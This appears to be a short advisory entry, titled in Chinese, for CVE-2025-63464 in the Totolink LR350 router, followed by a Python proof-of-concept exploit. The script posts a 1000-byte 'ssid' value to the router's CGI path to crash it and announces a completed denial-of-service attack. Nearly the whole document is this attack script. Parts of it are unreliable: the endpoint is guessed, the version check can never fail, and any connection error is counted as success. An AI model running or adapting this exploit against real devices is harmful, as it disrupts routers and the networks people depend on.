CVE-2025-63464 Totolink LR350 栈溢出漏洞导致拒绝服务

import requests # CVE-2025-63464 PoC - Totolink LR350 Stack Overflow via ssid parameter # Target: Totolink LR350 v9.3.5u.6369_B20220309 # Vulnerability: Stack overflow in sub_42396C function via ssid parameter TARGET_IP = "192.168.1.1" # Replace with target router IP TARGET_PORT = 80 TARGET_URL = f"http://{TARGET_IP}:{TARGET_PORT}/cgi-bin-igd/" # Generate malicious payload - long string to trigger stack overflow # The payload should exceed the buffer size allocated for ssid parameter PAYLOAD_LENGTH = 1000 # Adjust based on actual buffer size malicious_ssid = "A" * PAYLOAD_LENGTH def exploit_stack_overflow(): """ Exploit function to trigger stack overflow via ssid parameter This will cause denial of service by crashing the affected function """ # Construct the exploit request # The actual endpoint may vary - common endpoints include: # /cgi-bin-igd/luci, /cgi-bin-igd/, /admin_igmp.asp, etc. exploit_data = { "ssid": malicious_ssid, "apply": "Apply", "submit-url": "/admin_igmp.asp" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded", "Referer": TARGET_URL } try: print(f"[*] Sending exploit payload to {TARGET_URL}") print(f"[*] Payload length: {len(malicious_ssid)} bytes") # Send POST request with malicious ssid parameter response = requests.post( TARGET_URL, data=exploit_data, headers=headers, timeout=10 ) print(f"[*] Response status: {response.status_code}") # Verify if the attack was successful if response.status_code != 200: print("[+] Exploit likely successful - service disrupted") return True else: print("[*] Target still responding, trying larger payload") return False except requests.exceptions.RequestException as e: print(f"[+] Exploit successful - connection error: {e}") return True def verify_vulnerability(): """ Verify if target is vulnerable by checking firmware version """ version_url = f"{TARGET_URL}admin_version.asp" try: response = requests.get(version_url, timeout=10) if "9.3.5u.6369_B20220309" in response.text: print("[!] Target is running vulnerable firmware version") return True except: pass return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-63464 PoC - Totolink LR350 Stack Overflow") print("=" * 60) # First verify if target is potentially vulnerable is_vulnerable = verify_vulnerability() if is_vulnerable is False: print("[-] Target version not confirmed as vulnerable") # Execute exploit success = exploit_stack_overflow() if success: print("[+] Denial of Service attack completed successfully")